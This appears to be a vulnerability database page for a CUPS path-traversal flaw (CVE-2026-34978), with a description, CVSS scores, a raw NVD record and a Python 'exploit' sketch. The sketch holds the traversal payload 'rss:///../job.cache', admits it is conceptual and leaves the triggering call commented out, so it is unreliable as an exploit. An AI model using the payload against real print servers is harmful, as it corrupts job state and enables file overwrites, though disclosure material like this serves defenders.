Security Vulnerability Report
中文
CVE-2026-34978 CVSS 6.5 MEDIUM

CVE-2026-34978

Published: 2026-04-03 22:16:27
Last Modified: 2026-04-16 18:29:47

Description

OpenPrinting CUPS is an open source printing system for Linux and other Unix-like operating systems. In versions 2.4.16 and prior, the RSS notifier allows .. path traversal in notify-recipient-uri (e.g., rss:///../job.cache), letting a remote IPP client write RSS XML bytes outside CacheDir/rss (anywhere that is lp-writable). In particular, because CacheDir is group-writable by default (typically root:lp and mode 0770), the notifier (running as lp) can replace root-managed state files via temp-file + rename(). This PoC clobbers CacheDir/job.cache with RSS XML, and after restarting cupsd the scheduler fails to parse the job cache and previously queued jobs disappear. At time of publication, there are no publicly available patches.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:openprinting:cups:*:*:*:*:*:*:*:* - VULNERABLE
OpenPrinting CUPS <= 2.4.16

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-34978 # This script demonstrates sending a malicious IPP request to trigger path traversal # Note: This is a conceptual example based on the vulnerability description. import cups def exploit_cups_path_traversal(target_server, printer_uri): try: # Connect to the CUPS server conn = cups.Connection(target_server) # The malicious payload utilizing path traversal # This attempts to write to job.cache instead of the rss directory malicious_uri = "rss:///../job.cache" # Set printer options or create a printer with the malicious notify-recipient-uri # In a real scenario, this might be part of a print-job or set-printer-attributes request printer_name = "VulnerablePrinter" print(f"[*] Attempting to exploit {target_server}...") print(f"[*] Malicious URI: {malicious_uri}") # Simulating setting the attribute that triggers the vulnerability # Actual exploitation requires specific IPP attribute manipulation conn.addPrinter(printer_name, device=printer_uri) # Hypothetical call to trigger the notifier # conn.setPrinterAttributes(printer_name, {"notify-recipient-uri": malicious_uri}) print("[+] Payload sent. Check if job.cache was corrupted.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = "localhost:631" exploit_cups_path_traversal(target, "ipp://localhost/printers/test")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34978", "sourceIdentifier": "[email protected]", "published": "2026-04-03T22:16:26.947", "lastModified": "2026-04-16T18:29:46.537", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenPrinting CUPS is an open source printing system for Linux and other Unix-like operating systems. In versions 2.4.16 and prior, the RSS notifier allows .. path traversal in notify-recipient-uri (e.g., rss:///../job.cache), letting a remote IPP client write RSS XML bytes outside CacheDir/rss (anywhere that is lp-writable). In particular, because CacheDir is group-writable by default (typically root:lp and mode 0770), the notifier (running as lp) can replace root-managed state files via temp-file + rename(). This PoC clobbers CacheDir/job.cache with RSS XML, and after restarting cupsd the scheduler fails to parse the job cache and previously queued jobs disappear. At time of publication, there are no publicly available patches."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openprinting:cups:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.4.16", "matchCriteriaId": "8A2A4507-B2D7-43B8-B008-6EC2F5053FA9"}]}]}], "references": [{"url": "https://github.com/OpenPrinting/cups/security/advisories/GHSA-f53q-7mxp-9gcr", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/OpenPrinting/cups/security/advisories/GHSA-f53q-7mxp-9gcr", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}